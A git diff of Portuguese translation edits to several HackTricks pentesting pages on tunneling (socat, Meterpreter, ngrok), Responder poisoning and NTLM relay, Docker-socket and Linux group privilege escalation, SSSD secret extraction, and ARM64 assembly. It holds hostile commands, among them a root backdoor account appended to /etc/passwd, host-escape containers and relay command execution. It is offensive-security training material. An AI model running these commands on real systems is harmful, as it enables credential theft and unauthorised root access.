 socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
 ```
-### Meterpreter através de SSL Socat
+### Meterpreter através do SSL Socat
 ```bash
 #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
 attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@@ -368,14 +368,14 @@ Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para fazer p
 
 ## Proxificar Aplicativos GUI do Windows
 
-Você pode fazer com que aplicativos GUI do Windows naveguem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\
-Em **Profile -> Proxy Servers**, adicione o IP e a porta do servidor SOCKS.\
-Em **Profile -> Proxification Rules**, adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar.
+Você pode fazer aplicativos GUI do Windows navegarem através de um proxy usando [**Proxifier**](https://www.proxifier.com/).\
+Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\
+Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxificado e as conexões para os IPs que você deseja proxificar.
 
 ## Bypass de proxy NTLM
 
 A ferramenta mencionada anteriormente: **Rpivot**\
-**OpenVPN** também pode contorná-lo, configurando estas opções no arquivo de configuração:
+**OpenVPN** também pode contorná-lo, configurando essas opções no arquivo de configuração:
 ```bash
 http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
 ```
@@ -392,7 +392,7 @@ Domain CONTOSO.COM
 Proxy 10.0.0.10:8080
 Tunnel 2222:<attackers_machine>:443
 ```
-Agora, se você configurar, por exemplo, o serviço **SSH** na vítima para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
+Agora, se você configurar, por exemplo, no vítima o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
 Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
 
 ## YARP
@@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
 ```
 #### Mudar o DNS do proxychains
 
-Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS TCP através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (hardcoded). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
+Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
 
 ## Túneis em Go
 
@@ -496,7 +496,7 @@ chmod a+x ./ngrok
 
 **Documentação:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
 
-_É também possível adicionar autenticação e TLS, se necessário._
+_Também é possível adicionar autenticação e TLS, se necessário._
 
 #### Tunneling TCP
 ```bash
@@ -511,12 +511,12 @@ _É também possível adicionar autenticação e TLS, se necessário._
 ./ngrok http file:///tmp/httpbin/
 # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
 ```
-#### Sniffing HTTP calls
+#### Captura de chamadas HTTP
 
-_Uso útil para XSS, SSRF, SSTI ..._\
+_Utilizado para XSS, SSRF, SSTI ..._\
 Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
 
-#### Tunneling internal HTTP service
+#### Tunelamento de serviço HTTP interno
 ```bash
 ./ngrok http localhost:8080 --host-header=rewrite
 # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

@@ -9,7 +9,7 @@
 - **LLMNR, NBT-NS e mDNS**:
 - Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes local quando o DNS falha. Da mesma forma, sistemas Apple e Linux usam mDNS.
 - Esses protocolos são suscetíveis à interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
-- [Responder](https://github.com/lgandx/Responder) pode ser usado para se passar por serviços enviando respostas forjadas para hosts que consultam esses protocolos.
+- [Responder](https://github.com/lgandx/Responder) pode ser usado para impersonar serviços enviando respostas forjadas para hosts que consultam esses protocolos.
 - Mais informações sobre a impersonação de serviços usando Responder podem ser encontradas [aqui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
 
 ### Protocolo de Descoberta Automática de Proxy Web (WPAD)
@@ -36,14 +36,14 @@
 
 ### Envenenamento DHCP com Responder
 
-- Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais furtiva ao envenenamento ARP.
+- Spoofing de respostas DHCP pode envenenar permanentemente as informações de roteamento de uma vítima, oferecendo uma alternativa mais discreta ao envenenamento ARP.
 - Requer conhecimento preciso da configuração da rede alvo.
 - Executando o ataque: `./Responder.py -I eth0 -Pdv`
 - Este método pode capturar efetivamente hashes NTLMv1/2, mas requer manuseio cuidadoso para evitar interrupções na rede.
 
 ### Capturando Credenciais com Responder
 
-- Responder irá se passar por serviços usando os protocolos mencionados acima, capturando credenciais (geralmente NTLMv2 Challenge/Response) quando um usuário tenta se autenticar contra os serviços forjados.
+- Responder irá impersonar serviços usando os protocolos mencionados acima, capturando credenciais (geralmente NTLMv2 Challenge/Response) quando um usuário tenta se autenticar contra os serviços forjados.
 - Tentativas podem ser feitas para rebaixar para NetNTLMv1 ou desativar ESS para facilitar a quebra de credenciais.
 
 É crucial notar que a utilização dessas técnicas deve ser feita legal e eticamente, garantindo a devida autorização e evitando interrupções ou acessos não autorizados.
@@ -53,23 +53,23 @@
 Inveigh é uma ferramenta para testadores de penetração e equipes vermelhas, projetada para sistemas Windows. Oferece funcionalidades semelhantes ao Responder, realizando spoofing e ataques man-in-the-middle. A ferramenta evoluiu de um script PowerShell para um binário C#, com [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) e [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) como as principais versões. Parâmetros detalhados e instruções podem ser encontrados na [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
 
 Inveigh pode ser operado através do PowerShell:
-```powershell
+```bash
 Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
 ```
 Ou executado como um binário C#:
 ```bash
 Inveigh.exe
 ```
-### NTLM Relay Attack
+### Ataque de Revezamento NTLM
 
-Este ataque aproveita sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os pré-requisitos principais incluem:
+Este ataque aproveita as sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os pré-requisitos principais incluem:
 
-- O usuário autenticado deve ter acesso de Admin Local na máquina retransmitida.
+- O usuário autenticado deve ter acesso de Administrador Local no host revezado.
 - A assinatura SMB deve estar desativada.
 
 #### Encaminhamento e Tunelamento da Porta 445
 
-Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de admin local está disponível para carregamento de drivers.
+Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de administrador local está disponível para carregamento de driver.
 
 Configuração e operação do PortBender no Cobalt Strike:
 ```bash
@@ -97,7 +97,7 @@ Cada ferramenta pode ser configurada para operar através de um proxy SOCKS, se
 
 ### Operação do MultiRelay
 
-O MultiRelay é executado a partir do _**/usr/share/responder/tools**_ diretório, visando IPs ou usuários específicos.
+MultiRelay é executado a partir do _**/usr/share/responder/tools**_ diretório, visando IPs ou usuários específicos.
 ```bash
 python MultiRelay.py -t <IP target> -u ALL # Relay all users
 python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command

src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md

@@ -1,8 +1,8 @@
-# Abusando do Socket Docker para Escalação de Privilégios
+# Abusando do Socket do Docker para Escalação de Privilégios
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Existem algumas ocasiões em que você tem **acesso ao socket docker** e deseja usá-lo para **escalar privilégios**. Algumas ações podem ser muito suspeitas e você pode querer evitá-las, então aqui você pode encontrar diferentes flags que podem ser úteis para escalar privilégios:
+Existem algumas ocasiões em que você tem **acesso ao socket do docker** e deseja usá-lo para **escalar privilégios**. Algumas ações podem ser muito suspeitas e você pode querer evitá-las, então aqui você pode encontrar diferentes flags que podem ser úteis para escalar privilégios:
 
 ### Via mount
 
@@ -10,7 +10,7 @@ Você pode **montar** diferentes partes do **sistema de arquivos** em um contêi
 Você também pode **abusar de um mount para escalar privilégios** dentro do contêiner.
 
 - **`-v /:/host`** -> Monte o sistema de arquivos do host no contêiner para que você possa **ler o sistema de arquivos do host.**
-- Se você quiser **sentir que está no host** mas estando no contêiner, você pode desativar outros mecanismos de defesa usando flags como:
+- Se você quiser **sentir que está no host** mas estando no contêiner, pode desativar outros mecanismos de defesa usando flags como:
 - `--privileged`
 - `--cap-add=ALL`
 - `--security-opt apparmor=unconfined`
@@ -20,7 +20,7 @@ Você também pode **abusar de um mount para escalar privilégios** dentro do co
 - `--userns=host`
 - `--uts=host`
 - `--cgroupns=host`
-- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Isso é semelhante ao método anterior, mas aqui estamos **montando o disco do dispositivo**. Então, dentro do contêiner, execute `mount /dev/sda1 /mnt` e você pode **acessar** o **sistema de arquivos do host** em `/mnt`
+- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Isso é semelhante ao método anterior, mas aqui estamos **montando o disco do dispositivo**. Então, dentro do contêiner, execute `mount /dev/sda1 /mnt` e você pode **acessar** o **sistema de arquivos do host** em `/mnt`
 - Execute `fdisk -l` no host para encontrar o dispositivo `</dev/sda1>` para montar
 - **`-v /tmp:/host`** -> Se por algum motivo você pode **apenas montar algum diretório** do host e você tem acesso dentro do host. Monte-o e crie um **`/bin/bash`** com **suid** no diretório montado para que você possa **executá-lo a partir do host e escalar para root**.
 

src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md

@@ -4,7 +4,7 @@
 
 ## O que é Distroless
 
-Um contêiner distroless é um tipo de contêiner que **contém apenas as dependências necessárias para executar um aplicativo específico**, sem qualquer software ou ferramentas adicionais que não sejam necessárias. Esses contêineres são projetados para serem o mais **leves** e **seguros** possível, e têm como objetivo **minimizar a superfície de ataque** removendo quaisquer componentes desnecessários.
+Um contêiner distroless é um tipo de contêiner que **contém apenas as dependências necessárias para executar um aplicativo específico**, sem nenhum software ou ferramenta adicional que não seja necessário. Esses contêineres são projetados para serem o mais **leves** e **seguros** possível, e visam **minimizar a superfície de ataque** removendo quaisquer componentes desnecessários.
 
 Contêineres distroless são frequentemente usados em **ambientes de produção onde segurança e confiabilidade são fundamentais**.
 
@@ -25,6 +25,6 @@ Vindo em algum momento de 2023...
 
 #### openssl
 
-\***\*[**Neste post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) é explicado que o binário **`openssl`** é frequentemente encontrado nesses contêineres, potencialmente porque é **necessário\*\* pelo software que vai ser executado dentro do contêiner.
+\***\*[**Neste post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) é explicado que o binário **`openssl`** é frequentemente encontrado nesses contêineres, potencialmente porque é **necessário** pelo software que vai ser executado dentro do contêiner.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md

@@ -68,7 +68,7 @@ sudo su
 ```
 ## Shadow Group
 
-Usuários do **grupo shadow** podem **ler** o arquivo **/etc/shadow**:
+Usuários do **grupo shadow** podem **ler** o **/etc/shadow** arquivo:
 ```
 -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
 ```
@@ -76,7 +76,7 @@ Então, leia o arquivo e tente **quebrar algumas hashes**.
 
 ## Grupo de Funcionários
 
-**staff**: Permite que usuários adicionem modificações locais ao sistema (`/usr/local`) sem precisar de privilégios de root (note que executáveis em `/usr/local/bin` estão na variável PATH de qualquer usuário, e podem "substituir" os executáveis em `/bin` e `/usr/bin` com o mesmo nome). Compare com o grupo "adm", que está mais relacionado à monitoramento/segurança. [\[source\]](https://wiki.debian.org/SystemGroups)
+**staff**: Permite que usuários adicionem modificações locais ao sistema (`/usr/local`) sem precisar de privilégios de root (note que executáveis em `/usr/local/bin` estão na variável PATH de qualquer usuário, e podem "substituir" os executáveis em `/bin` e `/usr/bin` com o mesmo nome). Compare com o grupo "adm", que está mais relacionado a monitoramento/segurança. [\[source\]](https://wiki.debian.org/SystemGroups)
 
 Em distribuições debian, a variável `$PATH` mostra que `/usr/local/` será executado com a maior prioridade, independentemente de você ser um usuário privilegiado ou não.
 ```bash
@@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
 #Ifyou just want filesystem and network access you can startthe following container:
 docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
 ```
-Finalmente, se você não gostar de nenhuma das sugestões anteriores, ou elas não estiverem funcionando por algum motivo (firewall da API do docker?), você sempre pode tentar **executar um contêiner privilegiado e escapar dele** como explicado aqui:
+Finalmente, se você não gostar de nenhuma das sugestões anteriores, ou se elas não estiverem funcionando por algum motivo (firewall da API do docker?), você sempre pode tentar **executar um contêiner privilegiado e escapar dele** como explicado aqui:
 
 {{#ref}}
 ../docker-security/
@@ -222,7 +222,7 @@ Portanto, se você comprometeu um usuário dentro deste grupo, você definitivam
 
 ## Grupo Auth
 
-Dentro do OpenBSD, o grupo **auth** geralmente pode escrever nas pastas _**/etc/skey**_ e _**/var/db/yubikey**_ se elas forem usadas.\
+Dentro do OpenBSD, o grupo **auth** geralmente pode escrever nas pastas _**/etc/skey**_ e _**/var/db/yubikey**_ se forem usadas.\
 Essas permissões podem ser abusadas com o seguinte exploit para **escalar privilégios** para root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/linux-active-directory.md

@@ -12,7 +12,7 @@ Uma máquina linux em um AD pode estar **armazenando diferentes tickets CCACHE d
 
 Se você tiver acesso a um AD no linux (ou bash no Windows), pode tentar [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) para enumerar o AD.
 
-Você também pode verificar a página a seguir para aprender **outras maneiras de enumerar AD a partir do linux**:
+Você também pode verificar a seguinte página para aprender **outras maneiras de enumerar AD a partir do linux**:
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-ldap.md
@@ -20,7 +20,7 @@ Você também pode verificar a página a seguir para aprender **outras maneiras
 
 ### FreeIPA
 
-FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** do MIT para gerenciamento semelhante ao Active Directory. Utilizando o **Sistema de Certificados** Dogtag para gerenciamento de certificados CA e RA, suporta autenticação **multifatorial**, incluindo cartões inteligentes. O SSSD está integrado para processos de autenticação Unix. Saiba mais sobre isso em:
+FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** da MIT para gerenciamento semelhante ao Active Directory. Utilizando o Dogtag **Certificate System** para gerenciamento de certificados CA e RA, suporta autenticação **multifatorial**, incluindo smartcards. O SSSD está integrado para processos de autenticação Unix. Saiba mais sobre isso em:
 
 {{#ref}}
 ../freeipa-pentesting.md
@@ -30,7 +30,7 @@ FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Micr
 
 ### Pass The Ticket
 
-Nesta página, você encontrará diferentes lugares onde pode **encontrar tickets kerberos dentro de um host linux**. Na página a seguir, você pode aprender como transformar esses formatos de tickets CCache para Kirbi (o formato que você precisa usar no Windows) e também como realizar um ataque PTT:
+Nesta página, você encontrará diferentes lugares onde pode **encontrar tickets kerberos dentro de um host linux**, na página seguinte você pode aprender como transformar esses formatos de tickets CCache para Kirbi (o formato que você precisa usar no Windows) e também como realizar um ataque PTT:
 
 {{#ref}}
 ../../windows-hardening/active-directory-methodology/pass-the-ticket.md
@@ -66,12 +66,12 @@ Este procedimento tentará injetar em várias sessões, indicando sucesso ao arm
 
 O SSSD mantém uma cópia do banco de dados no caminho `/var/lib/sss/secrets/secrets.ldb`. A chave correspondente é armazenada como um arquivo oculto no caminho `/var/lib/sss/secrets/.secrets.mkey`. Por padrão, a chave só é legível se você tiver permissões de **root**.
 
-Invocar \*\*`SSSDKCMExtractor` \*\* com os parâmetros --database e --key irá analisar o banco de dados e **descriptografar os segredos**.
+Invocar **`SSSDKCMExtractor`** com os parâmetros --database e --key irá analisar o banco de dados e **descriptografar os segredos**.
 ```bash
 git clone https://github.com/fireeye/SSSDKCMExtractor
 python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
 ```
-O **blob de cache de credenciais Kerberos pode ser convertido em um arquivo Kerberos CCache** utilizável que pode ser passado para Mimikatz/Rubeus.
+O **blob de cache de credenciais Kerberos pode ser convertido em um arquivo Kerberos CCache utilizável** que pode ser passado para Mimikatz/Rubeus.
 
 ### Reutilização de ticket CCACHE a partir do keytab
 ```bash

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

@@ -8,66 +8,66 @@ Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exce
 
 1. **EL0 - Modo de Usuário**:
 - Este é o nível menos privilegiado e é usado para executar código de aplicativo regular.
-- Aplicativos executando em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e a estabilidade.
+- Aplicativos que rodam em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e a estabilidade.
 2. **EL1 - Modo do Kernel do Sistema Operacional**:
-- A maioria dos kernels de sistemas operacionais opera neste nível.
+- A maioria dos kernels de sistemas operacionais roda neste nível.
 - EL1 tem mais privilégios do que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
 3. **EL2 - Modo de Hipervisor**:
-- Este nível é usado para virtualização. Um hipervisor executando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
+- Este nível é usado para virtualização. Um hipervisor rodando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
 - EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
 4. **EL3 - Modo de Monitor Seguro**:
 - Este é o nível mais privilegiado e é frequentemente usado para inicialização segura e ambientes de execução confiáveis.
 - EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como inicialização segura, OS confiável, etc.).
 
-O uso desses níveis permite uma maneira estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicativos de usuário até o software de sistema mais privilegiado. A abordagem da ARMv8 em relação aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e a robustez do sistema.
+O uso desses níveis permite uma maneira estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 em relação aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e a robustez do sistema.
 
 ## **Registradores (ARM64v8)**
 
-ARM64 possui **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor **de 64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
+ARM64 possui **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
 
 1. **`x0`** a **`x7`** - Estes são tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas.
 - **`x0`** também carrega os dados de retorno de uma função.
 2. **`x8`** - No kernel do Linux, `x8` é usado como o número da chamada de sistema para a instrução `svc`. **No macOS, o x16 é o que é usado!**
 3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais.
-4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Eles também são usados para chamadas de função indiretas e stubs da PLT (Tabela de Ligação de Procedimentos).
+4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Eles também são usados para chamadas de função indiretas e stubs da Tabela de Ligação de Procedimentos (PLT).
 - **`x16`** é usado como o **número da chamada de sistema** para a instrução **`svc`** em **macOS**.
-5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread local no Windows, ou para apontar para a estrutura de tarefa **executando atualmente no kernel do Linux**.
+5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread local no Windows, ou para apontar para a estrutura de tarefa atualmente **executando no kernel do Linux**.
 6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamado. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de voltar para o chamador.
 7. **`x29`** - **Ponteiro de Quadro** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o **novo** endereço do ponteiro de quadro é (**endereço `sp`**) **armazenado neste registrador**.
 - Este registrador também pode ser usado como um **registrador de uso geral**, embora geralmente seja usado como referência para **variáveis locais**.
-8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor **`pc`** neste registrador.
+8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor de **`pc`** neste registrador.
 - Ele também pode ser usado como qualquer outro registrador.
 - Se a função atual for chamar uma nova função e, portanto, sobrescrever `lr`, ela o armazenará na pilha no início, este é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Armazenar `fp` e `lr`, gerar espaço e obter novo `fp`) e recuperá-lo no final, este é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` e `lr` e retornar).
 9. **`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha.
-- O valor **`sp`** deve sempre ser mantido em pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
-10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço **`pc`** em **`lr`** (Registrador de Link).
-11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador **32**-bit. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**).
+- O valor de **`sp`** deve sempre ser mantido em pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
+10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
+11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador **32** bits. Pode ser usado para obter o valor zero facilmente (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**).
 
-Os registradores **`Wn`** são a versão **32bit** do registrador **`Xn`**.
+Os registradores **`Wn`** são a versão **32 bits** do registrador **`Xn`**.
 
 ### Registradores SIMD e de Ponto Flutuante
 
-Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de múltiplos dados de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn, embora também possam operar em **64**-bit, **32**-bit, **16**-bit e **8**-bit e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
+Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de múltiplos dados de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
 
 ### Registradores do Sistema
 
 **Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\
 Eles só podem ser lidos ou configurados usando as instruções especiais dedicadas **`mrs`** e **`msr`**.
 
-Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao realizar engenharia reversa. O sufixo `EL0` indica a **exceção mínima** a partir da qual o registrador pode ser acessado (neste caso, EL0 é o nível de exceção regular (privilégio) com o qual programas regulares são executados).\
-Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas executando em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como o kernel).
+Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao realizar engenharia reversa. O sufixo `EL0` indica a **exceção mínima** a partir da qual o registrador pode ser acessado (neste caso, EL0 é o nível de exceção regular (privilégio) com o qual programas regulares rodam).\
+Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas que rodam em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como o kernel).
 
 - `mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0`
 - `msr TPIDR_EL0, X0 ; Escrever x0 em TPIDR_EL0`
 
 ### **PSTATE**
 
-**PSTATE** contém vários componentes do processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão** **da exceção** acionada (isso permite recuperar o estado do processo quando a exceção termina).\
+**PSTATE** contém vários componentes do processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão** **da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\
 Estes são os campos acessíveis:
 
 <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
 
-- As **flags de condição `N`**, **`Z`**, **`C`** e **`V`**:
+- As flags de condição **`N`**, **`Z`**, **`C`** e **`V`**:
 - **`N`** significa que a operação resultou em um resultado negativo.
 - **`Z`** significa que a operação resultou em zero.
 - **`C`** significa que a operação teve carry.
@@ -80,19 +80,19 @@ Estes são os campos acessíveis:
 > [!WARNING]
 > Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** o fazem, e outras que têm um sufixo s como **`ADDS`** também o fazem.
 
-- A **flag de largura de registrador atual (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 uma vez retomado.
-- O **Nível de Exceção** (**`EL`**): Um programa regular executando em EL0 terá o valor 0.
-- A **flag de passo único** (**`SS`**): Usada por depuradores para executar um passo único definindo a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
-- A **flag de estado de exceção ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida, esta flag é definida como 1 e o processador aciona uma exceção de estado ilegal.
+- A flag de **largura do registrador atual (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 uma vez retomado.
+- O **Nível de Exceção** (**`EL`**): Um programa regular rodando em EL0 terá o valor 0.
+- A flag de **passo único** (**`SS`**): Usada por depuradores para passo único, definindo a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
+- A flag de estado de exceção **ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida, esta flag é definida como 1 e o processador aciona uma exceção de estado ilegal.
 - As flags **`DAIF`**: Essas flags permitem que um programa privilegiado oculte seletivamente certas exceções externas.
-- Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** (IRQs) de hardware externas. e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
